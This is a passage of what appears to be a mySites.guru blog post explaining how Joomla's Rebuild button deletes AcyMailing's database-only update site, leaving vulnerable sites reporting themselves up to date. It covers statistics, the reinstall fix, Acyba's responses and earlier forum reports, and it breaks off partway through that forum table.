&lt;div&gt;&lt;p&gt;Update, 1 October: Acyba promises a fix in the next days&lt;/p&gt;&lt;div&gt;&lt;p&gt;Acyba support has now replied twice. The first reply said its licence system needs to identify the user and that Joomla’s update system cannot do that. Joomla can: download keys and installer plugin events let an extension add licence data to the download request, and to the update request from Joomla 5.3. The second reply, after we pointed that out, says Acyba knew about the problem, has found the documentation, and will release a fixed version “in the next days”. The details are in &lt;a href=&quot;#what-acyba-says-and-what-joomla-does&quot;&gt;what Acyba says and what Joomla does&lt;/a&gt; below. Until that version is out and installed, the reinstall steps in this post still apply.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;A lot of Joomla sites running AcyMailing will not tell you there is anything to update, though. A Joomla developer pointed out on 30 September that a site on 10.11.1 reports itself up to date, and another found that the update sites were gone from every AcyMailing site they looked after. We traced it to a design choice in AcyMailing’s installer, and to the button almost every Joomla guide tells you to press when updates stop appearing.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;AcyMailing’s Joomla package declares &lt;strong&gt;no update server&lt;/strong&gt; in its XML manifest. Its install script inserts the update site into the database instead.&lt;/li&gt;
&lt;li&gt;Joomla’s &lt;strong&gt;Rebuild&lt;/strong&gt; button in Update Sites deletes every non-core update site and recreates only the ones manifests declare, so it removes AcyMailing’s and cannot put it back.&lt;/li&gt;
&lt;li&gt;With no update site, Joomla reports AcyMailing as &lt;strong&gt;up to date&lt;/strong&gt; on any version, including those below 11.1.0.&lt;/li&gt;
&lt;li&gt;Across the AcyMailing sites mySites.guru monitors, &lt;strong&gt;one in four sites still below 11.1.0 has no AcyMailing update site&lt;/strong&gt;. On 10.11 it is more than half.&lt;/li&gt;
&lt;li&gt;Installing the current package over the top brings the update site back, but &lt;strong&gt;every Rebuild deletes it again&lt;/strong&gt;, over and over, until AcyMailing puts the missing &lt;code&gt;&amp;lt;updateservers&amp;gt;&lt;/code&gt; values in its XML manifest.&lt;/li&gt;
&lt;li&gt;Acyba confirmed on 1 October that it knows. It says its licence system cannot work through Joomla’s update system and that Rebuild changed recently. Joomla’s source shows both are wrong: the licensing features exist and Acyba has not implemented them, and Rebuild has behaved the same way since 3.6. A second reply the same afternoon promises a fixed version “in the next days”.&lt;/li&gt;
&lt;li&gt;On 2 October Acyba said the problem had not been reported until recently. Its own forum has threads about missing AcyMailing update sites going back to &lt;strong&gt;July 2019&lt;/strong&gt;, answered by forum moderators with “reinstall it”.&lt;/li&gt;
&lt;li&gt;AcyMailing 11.1.1, released on 5 October, &lt;strong&gt;fixes it&lt;/strong&gt;: the update server is in the manifest and Rebuild keeps the licence key. Sites that already lost their update site still need one reinstall to get there.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Where AcyMailing keeps its Joomla update site&lt;/h2&gt;
&lt;p&gt;A Joomla extension normally tells Joomla where to look for updates in its XML manifest, in an &lt;code&gt;&amp;lt;updateservers&amp;gt;&lt;/code&gt; block. When the extension is installed, Joomla’s own “Extension - Joomla” plugin reads that block and writes the row into &lt;code&gt;#__update_sites&lt;/code&gt;. The manifest stays on disk, so Joomla can always rebuild the row from it.&lt;/p&gt;
&lt;p&gt;AcyMailing does not do that. We opened all the AcyMailing Joomla packages we could get hold of, from 10.10.2 to 11.1.0, in the Starter, Essential and Enterprise editions, and not one &lt;code&gt;pkg_acymailing.xml&lt;/code&gt; or &lt;code&gt;acym.xml&lt;/code&gt; contains an &lt;code&gt;&amp;lt;updateservers&amp;gt;&lt;/code&gt; element. Instead, the package’s install script, &lt;code&gt;pkg_acymailing.php&lt;/code&gt;, does the job itself after every install or update:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;// 1 - Clear existing updates on AcyMailing extensions&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;acym_query&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;DELETE&lt;/span&gt;&lt;span&gt; FROM&lt;/span&gt;&lt;span&gt; #__updates WHERE extension_id IN (...)&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;// ...deletes every update site linked to AcyMailing&apos;s extensions...&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;// 2 - Add the new update XML&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$updateSiteDefinition&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;location &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ACYM_UPDATEME_API_URL&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    .&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;public/updatexml/component?extension=acymailing&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    .&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;&amp;amp;cms=joomla&amp;amp;version=latest&amp;amp;level=starter&amp;amp;type=package&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$updateSiteId &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; acym_insertObject&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;#__update_sites&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; $updateSiteDefinition);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The paid editions use &lt;code&gt;level=essential&lt;/code&gt; or &lt;code&gt;level=enterprise&lt;/code&gt; and add the site’s own URL, which is how Acyba ties the download to a licence. The method is the same, apart from the edition name, in all the packages we checked from 10.10.2 to 11.1.0.&lt;/p&gt;
&lt;p&gt;The feed itself works: on 30 September 2026 it answered 11.1.0 for all three editions. The weak point is that the only record of where the feed lives is a database row, and no file on disk can recreate it.&lt;/p&gt;
&lt;h3&gt;How AcyMailing’s update site has changed since 2020&lt;/h3&gt;
&lt;p&gt;The design is older than 10.10.2. Acyba publishes the AcyMailing component on &lt;a href=&quot;https://github.com/acyba/acymailing&quot;&gt;GitHub&lt;/a&gt;, with tags from 6.13.1 in July 2020 onwards, and we diffed the update-site code at each of the 145 tags, then the packages we hold from 10.10.2 to 11.1.0. The address has moved several times. How it is registered has stayed the same: a row inserted from PHP, with no &lt;code&gt;&amp;lt;updateservers&amp;gt;&lt;/code&gt; in &lt;code&gt;acym.xml&lt;/code&gt; or &lt;code&gt;pkg_acymailing.xml&lt;/code&gt;.&lt;/p&gt;

































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;AcyMailing version&lt;/th&gt;&lt;th&gt;What changed in the update site&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;6.13.1 (July 2020)&lt;/td&gt;&lt;td&gt;&lt;code&gt;addUpdateSite()&lt;/code&gt; in the component’s update helper inserts the row on install, pointing at &lt;code&gt;acyba.com/index.php?option=com_updateme&amp;amp;ctrl=updatexml&lt;/code&gt; with the edition and version in the query string&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6.14.1 (August 2020)&lt;/td&gt;&lt;td&gt;A &lt;code&gt;nocache&lt;/code&gt; timestamp is added to the address&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7.6.2 (November 2021)&lt;/td&gt;&lt;td&gt;Edition and version are fixed when the package is built. Each AcyMailing add-on module and plugin gets its own update site, also inserted from PHP&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.7.0 (August 2023)&lt;/td&gt;&lt;td&gt;The feed moves to &lt;code&gt;api.acymailing.com/public/updatexml/component?extension=acymailing&amp;amp;cms=joomla&amp;amp;version=latest&amp;amp;level=&amp;lt;edition&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9.11.0 (December 2024)&lt;/td&gt;&lt;td&gt;The update-site code leaves the component for the package install script, &lt;code&gt;pkg_acymailing.php&lt;/code&gt;, which is not in the public repository&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;10.10.2 to 11.1.0 (2026)&lt;/td&gt;&lt;td&gt;One update site, linked to the package, with &lt;code&gt;&amp;amp;type=package&lt;/code&gt;. Essential and Enterprise add &lt;code&gt;&amp;amp;website=&lt;/code&gt; and the site’s address&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The update address has not included a licence key at any point. The only value that differs from one site to the next is the &lt;code&gt;&amp;amp;website=&lt;/code&gt; parameter on the paid editions, and the Starter address is identical on every site, so it could sit in the manifest as it is. We cannot say when &lt;code&gt;&amp;amp;website=&lt;/code&gt; arrived: the packages from 9.11.0 to 10.10.1 are not in the repository, and Acyba’s download server returns “The version was not provided or is incorrect” for any version other than the latest.&lt;/p&gt;
&lt;h2&gt;What Joomla’s Rebuild button does to AcyMailing&lt;/h2&gt;
&lt;p&gt;Joomla has a Rebuild button in the toolbar of &lt;strong&gt;System, Update Sites&lt;/strong&gt;. It was added in 2016 in &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/9744&quot;&gt;joomla-cms #9744&lt;/a&gt;, described as rebuilding the update sites “from the manifest files”, and the code in &lt;code&gt;UpdatesitesModel::rebuild()&lt;/code&gt; does exactly that on Joomla 4, 5 and 6. It deletes every row from &lt;code&gt;#__update_sites&lt;/code&gt;, &lt;code&gt;#__update_sites_extensions&lt;/code&gt; and &lt;code&gt;#__updates&lt;/code&gt; except Joomla’s own core sites, then walks every extension manifest on disk and recreates an update site for each one that has an &lt;code&gt;&amp;lt;updateservers&amp;gt;&lt;/code&gt; block. It never runs an extension’s install script.&lt;/p&gt;
&lt;p&gt;For most extensions that is harmless, and it is the standard advice when updates go missing. &lt;a href=&quot;https://www.akeeba.com/documentation/admin-tools-joomla/update.html&quot;&gt;Admin Tools’ documentation&lt;/a&gt; sends you to it, Akeeba’s support desk has recommended it since at least 2017, and &lt;a href=&quot;https://mysites.guru/blog/joomla-update-not-possible-offered-update-has-expired/&quot;&gt;our post on Joomla update expiry errors&lt;/a&gt; suggests a rebuild and re-check too. For AcyMailing it is the one click that removes the update site for good. The row is deleted, there is no manifest to rebuild it from, and from then on Joomla has no feed to ask about AcyMailing. When Joomla has nothing to ask, the Extensions: Update screen shows no AcyMailing update, and the site looks up to date.&lt;/p&gt;
&lt;p&gt;Rebuild is not the only way to lose it: deleting the row by hand in the Update Sites view does the same. What makes Rebuild the common cause is timing: it is the step people take when updates look broken, so it tends to happen on the sites that most need an update.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;An update site that exists only in the database is one click from gone&lt;/p&gt;&lt;div&gt;&lt;p&gt;If an extension cannot be rebuilt from its manifest, Joomla’s standard repair is what breaks it.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How many AcyMailing sites have lost their update site?&lt;/h2&gt;
&lt;p&gt;Across the Joomla sites mySites.guru monitors that ran a snapshot in the 14 days to 30 September 2026, one in eight sites running AcyMailing has no AcyMailing update site at all. The sites to worry about are the ones that need 11.1.0 and cannot see it. About 40% of those AcyMailing sites were still below 11.1.0, and among them one in four had no update site. For those sites the Joomla updater is silent about a 9.5 Critical fix.&lt;/p&gt;
&lt;p&gt;Broken down by the installed version, the pattern is hard to miss:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;AcyMailing version&lt;/th&gt;&lt;th&gt;Sites with no AcyMailing update site&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;11.1&lt;/td&gt;&lt;td&gt;5%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11.0&lt;/td&gt;&lt;td&gt;18%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;10.11&lt;/td&gt;&lt;td&gt;58%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9.10&lt;/td&gt;&lt;td&gt;6%&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The 10.11 figure looks like a bug in that release, but the update-site code in its installer is the same as in 11.1.0. What it shows is a selection effect. Sites that could see updates moved on to 11.0 and 11.1 over the summer. The sites still sitting on 10.11 are, more often than not, the ones whose Joomla stopped hearing about new versions. The older a version looks in your list, the more likely it is that nobody was ever told about the newer one.&lt;/p&gt;
&lt;h2&gt;How do I get the AcyMailing update site back in Joomla?&lt;/h2&gt;
&lt;p&gt;Install the current AcyMailing package over the top of the existing install. The package’s install script runs again, clears out any AcyMailing update sites it finds, and inserts a fresh one. Your lists, subscribers, campaigns and settings are untouched, because this is the same process as any normal AcyMailing update, and AcyMailing’s own &lt;a href=&quot;https://docs.acymailing.com/setup/installation/update-acymailing-on-joomla&quot;&gt;update guide&lt;/a&gt; gives it as the fallback when the updater fails.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download the edition the site already runs. Starter is free from &lt;a href=&quot;https://www.acymailing.com/&quot;&gt;acymailing.com&lt;/a&gt;; Essential and Enterprise packages are in your &lt;a href=&quot;https://www.acymailing.com/account/license/&quot;&gt;AcyMailing account&lt;/a&gt; under the licence.&lt;/li&gt;
&lt;li&gt;In the Joomla administrator, go to &lt;strong&gt;System, Install, Extensions&lt;/strong&gt; and upload the package. Do not uninstall AcyMailing first; an install over the top is all it needs.&lt;/li&gt;
&lt;li&gt;Open &lt;strong&gt;System, Update Sites&lt;/strong&gt; and search for AcyMailing. There should be one enabled entry pointing at &lt;code&gt;api.acymailing.com&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If the site is on 11.1.1 or later, you are done and Rebuild is safe again. On anything older, treat Rebuild as off limits. If you have to use it for another extension, reinstall AcyMailing straight afterwards, every time.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;p&gt;Up to 11.1.0, every Rebuild deletes it again&lt;/p&gt;&lt;div&gt;&lt;p&gt;On 11.1.0 and older, reinstalling restores the database row and nothing else. The XML manifest in those versions has no &lt;code&gt;&amp;lt;updateservers&amp;gt;&lt;/code&gt; values, so the next Rebuild deletes the update site again, and so will every Rebuild after that. Installing 11.1.1 is the way out: its manifest declares the update server.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Installing 11.1.0 this way also closes the two CVEs, so on a site below 11.1.0 one upload does both jobs. Check any AcyMailing add-ons afterwards: &lt;a href=&quot;https://mysites.guru/blog/acymailing-11-1-0-security-release/#acymailing-1110-can-crash-sites-with-older-add-ons&quot;&gt;11.1.0 breaks some older ones&lt;/a&gt; with a PHP fatal error.&lt;/p&gt;
&lt;h2&gt;What mySites.guru sees when Joomla sees nothing&lt;/h2&gt;
&lt;p&gt;mySites.guru records the installed version of every extension on every connected Joomla site, and compares it with our &lt;a href=&quot;https://mysites.guru/vulnerabilities/acym/&quot;&gt;Joomla vulnerability rules&lt;/a&gt;. The AcyMailing rule for versions below 11.1.0 went live on release day. That comparison uses the version number, not Joomla’s update data, so a site with no AcyMailing update site is still flagged as vulnerable on its dashboard and in its audit, even while its own Joomla administrator says there is nothing to do.&lt;/p&gt;
&lt;p&gt;What we cannot do for such a site is update it for you. mySites.guru’s one-click updates, &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk updates&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic extension updates&lt;/a&gt; all start from the update Joomla reports, so they need an update site to work from. On a site that has lost it, the vulnerability flag is your warning and the reinstall above is the fix. Once the update site is back, those tools pick AcyMailing up again from the next snapshot.&lt;/p&gt;
&lt;p&gt;If you are a subscriber, the &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4a67f84d1bc674c196c7b3e60448f6a9&quot;&gt;AcyMailing extension search&lt;/a&gt; lists all your installs grouped by version. A site still showing 10.11 or 11.0 there after this week is worth a closer look. The &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension list&lt;/a&gt; puts it together with every other flagged extension across your sites.&lt;/p&gt;
&lt;p&gt;This is the second update-channel failure we have written up today. OrdaSoft &lt;a href=&quot;https://mysites.guru/blog/ordasoft-os-cck-sql-injection/&quot;&gt;fixed a SQL injection and a CVSS 10.0 upload flaw in OS CCK 8.3.16&lt;/a&gt; while its update server kept offering 8.3.14. The two failures differ, and the lesson is the same: a patch that exists does not mean a patch is reaching anyone, so check the installed version, not the update screen.&lt;/p&gt;
&lt;h2&gt;What Acyba says, and what Joomla does&lt;/h2&gt;
&lt;p&gt;We wrote to Acyba support on 30 September, copying the Joomla Security Strike Team, and had an answer the next morning. It confirms the cause above and explains the reason. Acyba’s licence system has to identify the customer before it can return a download URL or an expired-licence message, and a manifest URL is the same for everyone. So Acyba has never declared update servers in its XML manifest and writes the update site row, with the licence information in its URL, from the install script. It says Rebuild “recently changed”, or that AcyMailing stopped being compatible with it, and that it is working on a workaround that has to cover Joomla 3 to 6. It asked whether Joomla can add dynamic parameters to the update server URL when it is called.&lt;/p&gt;
&lt;p&gt;Joomla already supports what Acyba asked for. We checked the 3.10 and current source trees:&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Joomla feature&lt;/th&gt;&lt;th&gt;Since&lt;/th&gt;&lt;th&gt;What it does&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;extra_query&lt;/code&gt; on an update site&lt;/td&gt;&lt;td&gt;present in 3.10&lt;/td&gt;&lt;td&gt;Joomla appends it to the package download URL&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;&amp;lt;dlid prefix=&quot;&quot; suffix=&quot;&quot;/&amp;gt;&lt;/code&gt; in the manifest, and the Download Key field&lt;/td&gt;&lt;td&gt;4.0.0&lt;/td&gt;&lt;td&gt;Declares that an extension takes a key and stores it in &lt;code&gt;extra_query&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;onInstallerBeforePackageDownload&lt;/code&gt;&lt;/td&gt;&lt;td&gt;3.2.3&lt;/td&gt;&lt;td&gt;An installer plugin can change the download URL and headers&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;onInstallerBeforeUpdateSiteDownload&lt;/code&gt;&lt;/td&gt;&lt;td&gt;5.3.0&lt;/td&gt;&lt;td&gt;The same, for the request that fetches the update XML&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Rebuild preserving &lt;code&gt;extra_query&lt;/code&gt;&lt;/td&gt;&lt;td&gt;3.9.26&lt;/td&gt;&lt;td&gt;Rebuild backs up each site’s &lt;code&gt;extra_query&lt;/code&gt; and restores it&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;That is how other commercial Joomla extensions license their updates: the update feed is declared in the manifest, the customer’s key travels with the download, and the vendor’s server accepts it or refuses it with a message. One limit applies. Before Joomla 5.3 there is no hook on the XML request, so a vendor on older versions cannot change which version is offered per licence, only whether the download is allowed.&lt;/p&gt;
&lt;p&gt;Rebuild has not changed in the way Acyba describes. &lt;code&gt;UpdatesitesModel::rebuild()&lt;/code&gt; has been marked &lt;code&gt;@since 3.6&lt;/code&gt;, it deletes every non-core update site and recreates them from manifests, and the 3.10 code does the same. The only behavioural change to it since is the 3.9.26 one that preserves &lt;code&gt;extra_query&lt;/code&gt;; the commits after 4.0 are refactoring, such as database injection and the PSR-12 conversion. The one recent change nearby, &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/45388&quot;&gt;joomla-cms #45388&lt;/a&gt; in Joomla 5.3.1, is in the extension plugin rather than Rebuild: it updates an existing row when an extension’s manifest moves its update server, and it only runs for manifests that declare one, so AcyMailing is unaffected. A row that an install script inserts with its own location has always been deleted by a Rebuild, on every Joomla version, which is why AcyMailing sites lose it.&lt;/p&gt;
&lt;p&gt;Our reply to Acyba included a short installer plugin that adds a licence key to both requests. We have not run it against a live AcyMailing licence server, so treat it as a sketch of the mechanism.&lt;/p&gt;
&lt;p&gt;Acyba answered again that afternoon, and the tone had changed. It thanked us for “the reminder and the explanation”, said it already knew about the problem and had found the documentation, and that it was already working on it. It also said that because AI tools now let anyone produce security reports, more and more of them are being published, which leaves less time for features and bugs that are not security issues. It closed by promising a new version of the plugin “in the next days” with the fix.&lt;/p&gt;
&lt;p&gt;We welcome the commitment. The two replies are hard to square, though. The first asked whether Joomla could add the very capability the second says Acyba had already found documented, and a rising number of security reports does not explain an update channel that has relied on a database row since at least 6.13.1 in July 2020. We also do not see a missing update site as competing with “features and bugs” for time. On a site that has lost it, no AcyMailing update reaches the administrator at all, security releases included, and that is a security problem in its own right.&lt;/p&gt;
&lt;h2&gt;Reported on Acyba’s forum since 2019&lt;/h2&gt;
&lt;p&gt;Acyba’s third reply, on the morning of 2 October, explained that support relays messages for the developers, and that the development team had settled on declaring the update server in the manifest. It also said this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Our update mechanism worked as expected for years, and until recently it had not been reported to us as a problem.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Acyba’s own forum at forum.acymailing.com has threads about missing AcyMailing updates and update sites going back more than seven years. We sent six of them back to Acyba on 2 October. A search of all 18,206 posts on the forum then found thirteen more, and all nineteen are below:&lt;/p&gt;





























































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;Thread&lt;/th&gt;&lt;th&gt;What the user reported&lt;/th&gt;&lt;th&gt;Answer on the forum&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;22 Jul 2019&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/228-not-prompting-for-me-to-update-my-acymailing&quot;&gt;Not prompting for me to update my acymailing&lt;/a&gt;&lt;/td&gt;&lt;td&gt;AcyMailing Starter 4.4.1 on Joomla 3.9.10: Joomla does not say there is a new version&lt;/td&gt;&lt;td&gt;A forum moderator: answered privately in a support ticket&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;22 Aug 2019&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/323-update-to-6-2-0-doesn-t-work&quot;&gt;Update to 6.2.0 doesn’t work&lt;/a&gt;&lt;/td&gt;&lt;td&gt;AcyMailing 6.1.4: Find Updates shows no AcyMailing update, and clearing the cache does not help&lt;/td&gt;&lt;td&gt;A forum admin: “Strange that you don’t have any update available”, then download it and install it over the top&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;12 Nov 2019&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/578-acymailing-missing-from-joomla-update-sites&quot;&gt;acymailing missing from joomla Update Sites&lt;/a&gt;&lt;/td&gt;&lt;td&gt;AcyMailing 5.10.4 is missing from Update Sites, with a valid subscription; rebuilding the list did not bring it back&lt;/td&gt;&lt;td&gt;A forum moderator: download the latest version and install it again&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11 May 2020&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/1239-acymailing-5-download/7&quot;&gt;AcyMailing 5 download&lt;/a&gt;&lt;/td&gt;&lt;td&gt;AcyMailing 5.8.0: “I have rebuilt the Updates site list and cleared the Extension Manager cache”, still no update&lt;/td&gt;&lt;td&gt;A forum moderator: raise a support ticket&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4 Dec 2020&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/2171-squeeze-page-registration-takes-too-long/5&quot;&gt;Squeeze page registration takes too long&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Starter 5.10.4: no update appears in Joomla, although the AcyMailing update site is enabled&lt;/td&gt;&lt;td&gt;A forum moderator: migrate to AcyMailing 6&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9 Feb 2021&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/2358-why-does-acymailing-not-find-my-license-on-updates/4&quot;&gt;Why does AcyMailing not find my license on updates&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Licensed sites repeatedly fail to update&lt;/td&gt;&lt;td&gt;A forum moderator: remove the AcyMailing entry from Update Sites and install the package again, which “will properly add new entry”. In 2022, on the same thread: “Joomla Update sites is a feature of Joomla, and we can’t provide support for that part”&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;29 Mar 2021&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/2535-how-to-upgrade-from-5-10-19-to-5-10-20&quot;&gt;How to upgrade from 5.10.19 to 5.10.20&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Joomla’s Extension Manager does not show 5.10.20. Told to Rebuild, the user reports “After rebuilding, clear cache and find updates the update did not show up”&lt;/td&gt;&lt;td&gt;A forum moderator: Rebuild, then download the package and install it&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;26 Apr 2021&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/1272-click-map/4&quot;&gt;Click map&lt;/a&gt;&lt;/td&gt;&lt;td&gt;“I was on 7.4 and there was no update notification”&lt;/td&gt;&lt;td&gt;No reply on that point&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;31 Aug 2021&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/2855-mise-jour-en-boucle-du-plugin-acymailing-jce-integration-chez-watchful&quot;&gt;Mise à jour en boucle du plugin AcyMailing - JCE integration chez Watchful&lt;/a&gt;&lt;/td&gt;&lt;td&gt;AcyMailing 7.5.12’s JCE integration plugin “does not contain the line indicating the URL of the update server”, so the site shows no update and Watchful loops; a second and third user see the same&lt;/td&gt;&lt;td&gt;A forum admin: cannot reproduce, open a ticket&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6 Jan 2022&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/3103-updates-not-showing-up-in-joomla-updates&quot;&gt;Updates not showing up in Joomla updates&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Essential, valid licence: updates show neither in Joomla nor in mySites.guru after updating the update sites. A second user: “I think this is a continuing problem. I have that for years already on several Joomla sites”&lt;/td&gt;&lt;td&gt;A forum moderator: open a support ticket&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9 Jun 2022&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/3452-not-getting-joomla-update-notifications-for-acymailing&quot;&gt;Not getting Joomla update notifications for ACYMailing&lt;/a&gt;&lt;/td&gt;&lt;td&gt;No update notifications, no AcyMailing entry in Update Sites, rebuilding changed nothing&lt;/td&gt;&lt;td&gt;A forum moderator: install the latest version manually, or raise a support ticket&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;17 Jun 2022&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/3468-migration-of-acymail-failed-to-joomla-4/2&quot;&gt;Migration of AcyMail failed to Joomla 4&lt;/a&gt;&lt;/td&gt;&lt;td&gt;After moving a site to its live domain, the AcyMailing update fails with a licence error naming the old domain&lt;/td&gt;&lt;td&gt;A forum moderator: remove the AcyMailing update sites, “rebuild update sites”, then install the same package again by hand&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;14 Dec 2022&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/2148-bad-website-url-in-licence-check/7&quot;&gt;Bad website URL in licence check&lt;/a&gt;&lt;/td&gt;&lt;td&gt;The update URL still names the local domain the site was built on&lt;/td&gt;&lt;td&gt;A forum moderator: “This is not a bug”. The installation “created update sites” which Joomla does not change, so remove them and reinstall&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11 Jan 2023&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/4073-update-sites-entries&quot;&gt;Update Sites Entries&lt;/a&gt;&lt;/td&gt;&lt;td&gt;“Tried REBUILD and ALL Acymailing entries have gone - including plugin entries !”&lt;/td&gt;&lt;td&gt;A forum moderator: install AcyMailing again&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11 Jan 2023&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/2517-5-time-the-acymailing-update-site-in-the-update-site-list/2&quot;&gt;5 time the Acymailing update site in the Update site list ?&lt;/a&gt;&lt;/td&gt;&lt;td&gt;The same user, on AcyMailing 7: Rebuild “worked but removed ALL Acymailing 